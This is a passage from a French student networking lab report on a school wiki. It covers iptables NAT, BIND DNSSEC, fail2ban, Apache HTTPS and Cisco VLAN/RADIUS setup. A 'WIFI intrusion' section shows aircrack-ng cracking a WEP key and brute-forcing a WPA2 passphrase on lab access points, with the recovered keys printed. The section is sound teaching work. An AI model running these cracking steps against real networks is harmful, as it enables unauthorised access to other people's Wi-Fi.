iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12257</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12257"/>
		<updated>2026-02-12T14:58:32Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Sur capbreton ===&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
